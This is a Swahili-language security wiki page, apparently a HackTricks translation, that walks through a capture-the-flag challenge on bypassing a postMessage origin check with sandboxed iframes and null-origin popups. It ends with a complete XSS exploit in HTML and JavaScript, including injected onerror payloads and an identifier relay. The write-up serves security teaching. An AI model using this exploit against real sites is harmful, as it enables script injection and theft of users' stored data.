Bypassing SOP with Iframes - 1

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Iframes katika SOP-1

Katika changamoto iliyoandaliwa na NDevTK na Terjanq unahitaji kudukua XSS katika nambari iliyoundwa

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Tatizo kuu ni kwamba ukurasa mkuu hutumia DomPurify kutuma data.body, kwa hivyo ili kutuma data yako ya html kwenye nambari hiyo unahitaji kupitisha e.origin !== window.origin.

Hebu tuangalie suluhisho wanayopendekeza.

Kupitisha SOP 1 (e.origin === null)

Wakati //example.org inaingizwa kwenye iframe iliyofungwa, basi asili ya ukurasa itakuwa null, yaani window.origin === null. Kwa hivyo tu kwa kuingiza iframe kupitia <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> tunaweza kulazimisha asili kuwa null.

Ikiwa ukurasa huo ulikuwa unaweza kuingizwa ungeweza kuzunguka kinga hiyo kwa njia hiyo (vidakuzi pia vinaweza kuhitaji kuwekwa kama SameSite=None).

Kupitisha SOP 2 (window.origin === null)

Ukweli usiojulikana sana ni kwamba wakati thamani ya sandbox allow-popups inawekwa, basi popup iliyofunguliwa itapokea sifa zote zilizofungwa isipokuwa allow-popups-to-escape-sandbox imefungwa. Kwa hivyo, kufungua popup kutoka kwa asili ya null kutafanya window.origin ndani ya popup pia iwe null.

Suluhisho la Changamoto

Kwa hivyo, kwa changamoto hii, mtu anaweza kuunda iframe, kufungua popup kwenye ukurasa na kifaa cha XSS kinachoweza kudhuru (/iframe.php), kwa kuwa window.origin === e.origin kwa sababu zote mbili ni null inawezekana kutuma mzigo ambao utatumia XSS.

Mzigo huo utapata kitambulisho na kutuma XSS kurudi kwenye ukurasa wa juu (ukurasa ambao ulifungua popup), ambao utabadilisha eneo kwenda kwenye hatari /iframe.php. Kwa sababu kitambulisho kinajulikana, haifai kwamba hali window.origin === e.origin haijatimizwa (kumbuka, asili ni popup kutoka kwenye iframe ambayo ina asili null) kwa sababu data.identifier === identifier. Kisha, XSS itasababisha tena, wakati huu kwenye asili sahihi.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Last updated